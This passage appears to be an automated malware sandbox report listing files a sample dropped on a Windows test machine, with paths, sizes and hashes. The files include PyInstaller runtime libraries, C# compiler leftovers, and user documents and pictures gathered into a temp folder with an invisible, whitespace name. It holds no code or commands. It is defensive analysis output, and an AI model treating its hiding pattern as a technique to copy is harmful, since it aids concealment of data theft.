                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_ctypes.pyd
                                                      • Size 122KB
                                                      • SHA256 74e0e8384f6c2503215f4cf64c92efe7257f1aec44f72d67ad37dc8ba2530bc1
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _decimal.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_decimal.pyd
                                                      • Size 251KB
                                                      • SHA256 b8221d1c9e2c892dd6227a6042d1e49200cd5cb82adbd998e4a77f4ee0e9abf1
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _hashlib.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_hashlib.pyd
                                                      • Size 64KB
                                                      • SHA256 fd77a5756a17ec0788989f73222b0e7334dd4494b8c8647b43fe554cf3cfb354
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _lzma.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_lzma.pyd
                                                      • Size 156KB
                                                      • SHA256 7bf9ff61babebd90c499a8ed9b62141f947f90d87e0bbd41a12e99d20e06954a
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _queue.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_queue.pyd
                                                      • Size 31KB
                                                      • SHA256 dbdabb5fe0ccbc8b951a2c6ec033551836b072cab756aaa56b6f22730080d173
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _socket.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_socket.pyd
                                                      • Size 81KB
                                                      • SHA256 b102522c23dac2332511eb3502466caf842d6bcd092fbc276b7b55e9cc01b085
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _sqlite3.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_sqlite3.pyd
                                                      • Size 122KB
                                                      • SHA256 ee0e9b0a0af6a98d5e8ad5b9878688d2089f35978756196222b9d45f49168a9d
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _ssl.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_ssl.pyd
                                                      • Size 174KB
                                                      • SHA256 a5d361707f7a2a2d726b20770e8a6fc25d753be30bcbcbbb683ffee7959557c2
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      base_library.zip
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\base_library.zip
                                                      • Size 1.3MB
                                                      • SHA256 29556cc179d145e9f64d287f0455991bd62a8dc4304e20429f83a1a40959fd09
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      libcrypto-3.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\libcrypto-3.dll
                                                      • Size 5.0MB
                                                      • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      libffi-8.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\libffi-8.dll
                                                      • Size 38KB
                                                      • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      libssl-3.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\libssl-3.dll
                                                      • Size 768KB
                                                      • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      python312.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\python312.dll
                                                      • Size 6.6MB
                                                      • SHA256 21700f0bad5769a1b61ea408dc0a140ffd0a356a774c6eb0cc70e574b929d2e2
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      select.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\select.pyd
                                                      • Size 30KB
                                                      • SHA256 411d6f538bdbaf60f1a1798fa8aa7ed3a4e8fcc99c9f9f10d21270d2f3742019
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      sqlite3.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\sqlite3.dll
                                                      • Size 1.5MB
                                                      • SHA256 7ef475d27f9634f6a75e88959e003318d7eb214333d25bdf9be1270fa0308c82
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      unicodedata.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\unicodedata.pyd
                                                      • Size 1.1MB
                                                      • SHA256 bc2cf23b7b7491edcf03103b78dbaf42afd84a60ea71e764af9a1ddd0fe84268
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      __PSScriptPolicyTest_hvtlymhk.phq.ps1
                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hvtlymhk.phq.ps1
                                                      • Size 60B
                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      ClearMount.mp4
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\ClearMount.mp4
                                                      • Size 798KB
                                                      • SHA256 895b52f433f99d6ff7d6cd1b71101a3b42c50d9384f152d4917a6af3f3b45fc3
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      SendRename.xls
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\SendRename.xls
                                                      • Size 765KB
                                                      • SHA256 7554b141b8d5530dbb73d48e620ac9e8be4692942cb390731c4fb030d757c986
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      TestUnpublish.pdf
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\TestUnpublish.pdf
                                                      • Size 632KB
                                                      • SHA256 7bfa0c1f5c2b7b6e2256a736fdea44d3978a4af159978eea739ea5dfe5641250
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Are.docx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\Are.docx
                                                      • Size 11KB
                                                      • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Files.docx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\Files.docx
                                                      • Size 11KB
                                                      • SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      NewUninstall.docx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\NewUninstall.docx
                                                      • Size 236KB
                                                      • SHA256 0254b2268b730001d4985c755920d3bc6ec97cbcb2fd9a7d6163f5ed18667a48
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Opened.docx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\Opened.docx
                                                      • Size 11KB
                                                      • SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Recently.docx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\Recently.docx
                                                      • Size 11KB
                                                      • SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      ResetBackup.ods
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\ResetBackup.ods
                                                      • Size 421KB
                                                      • SHA256 45fb4e43103a2273b9c830c898d6fc5c2c1694e63afdf2e45281ba52e13ed918
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      These.docx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\These.docx
                                                      • Size 11KB
                                                      • SHA256 57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      UninstallOptimize.mp3
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Downloads\UninstallOptimize.mp3
                                                      • Size 395KB
                                                      • SHA256 b74d25d00c53d8d491e3cbbdad81a2603b8c3681391380f48d96a5e6c548caf2
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      BackupDisconnect.potx
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Music\BackupDisconnect.potx
                                                      • Size 698KB
                                                      • SHA256 f32ace0510b0b38366e5fc8a65fe225b096298a3cf55504bfcf35399ce1ca57f
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      BackupExit.wmf
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Music\BackupExit.wmf
                                                      • Size 738KB
                                                      • SHA256 2ffd56db142be27f322305cbe00438c3198f9f3ee4dc8d7b5bddffbbeea7b7af
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      ConvertToUnblock.mp4
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Music\ConvertToUnblock.mp4
                                                      • Size 840KB
                                                      • SHA256 3f2f9df8443c531b8a3cfc4ce4986bbc57e3adac871e11444e691bdf73834ee3
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      StepWatch.jpg
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Music\StepWatch.jpg
                                                      • Size 678KB
                                                      • SHA256 c7e2e00becf4d3a45fb5cc9fa40d0ad73430834f2ddc95d8f12e789dd395227e
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      SuspendAdd.pdf
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Music\SuspendAdd.pdf
                                                      • Size 496KB
                                                      • SHA256 8bce4169d7d944503aaa1e71fa1b4ce40f1a5c7a66e916e85bbd98ef0e7baad0
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      BackupLock.cr2
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Pictures\BackupLock.cr2
                                                      • Size 1.4MB
                                                      • SHA256 5361e4eeb0da4a42d07feb691967e001893144ccac93fcccabfb846a9724993f
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      DebugWait.png
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Pictures\DebugWait.png
                                                      • Size 660KB
                                                      • SHA256 479444737bfdabdca3fb250222e16e407fd8b21ac62103abe1e9974275b9467a
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      LockBackup.svgz
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Pictures\LockBackup.svgz
                                                      • Size 964KB
                                                      • SHA256 6a376e644d37c3d281a7f3c286c386723eedc0dfd9f3c9b16f50aa94b20dbc99
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      My Wallpaper.jpg
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Pictures\My Wallpaper.jpg
                                                      • Size 24KB
                                                      • SHA256 16d5506b6663085b1acd80644ffa5363c158e390da67ed31298b85ddf0ad353f
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      UninstallCompress.jpeg
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Pictures\UninstallCompress.jpeg
                                                      • Size 761KB
                                                      • SHA256 02a59d24e97bf8ca93fa72f79287ce8bf43cdd3ec2fa977584fab296f5f62e6b
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Display (1).png
                                                      • Path C:\Users\Admin\AppData\Local\Temp\      ‍   \Display (1).png
                                                      • Size 403KB
                                                      • SHA256 21d4fbb8d5282a062f801637d32ab796adb24b99364fa5a3ac8de09400f44b02
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      0pr4fi0c.0.cs
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\0pr4fi0c\0pr4fi0c.0.cs
                                                      • Size 1004B
                                                      • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      0pr4fi0c.cmdline
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\0pr4fi0c\0pr4fi0c.cmdline
                                                      • Size 607B
                                                      • SHA256 d4c18f33e9e2075930b9cc8a8a92804dec81a2bcb0b687bcbcb030901c5e5caa
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      CSC10EB2B227E6E42E9A416819DE501AE8.TMP
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\0pr4fi0c\CSC10EB2B227E6E42E9A416819DE501AE8.TMP
                                                      • Size 652B
                                                      • SHA256 962ff8c2f0777e9a901f4fb4f5bbd41bbc4709aee816bd0fd88a9a9181be20d6
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      memory/2268-63-0x00007FFE16960000-0x00007FFE17422000-memory.dmp
                                                      Download

                                                      memory/2268-172-0x00007FFE16960000-0x00007FFE17422000-memory.dmp
                                                      Download

                                                      memory/2268-64-0x00007FFE16960000-0x00007FFE17422000-memory.dmp
                                                      Download

                                                      memory/2268-53-0x00007FFE16963000-0x00007FFE16965000-memory.dmp
                                                      Download

                                                      memory/3712-178-0x00000265158F0000-0x00000265158F8000-memory.dmp
                                                      Download

                                                      memory/3900-62-0x00000207FE490000-0x00000207FE4B2000-memory.dmp
                                                      Download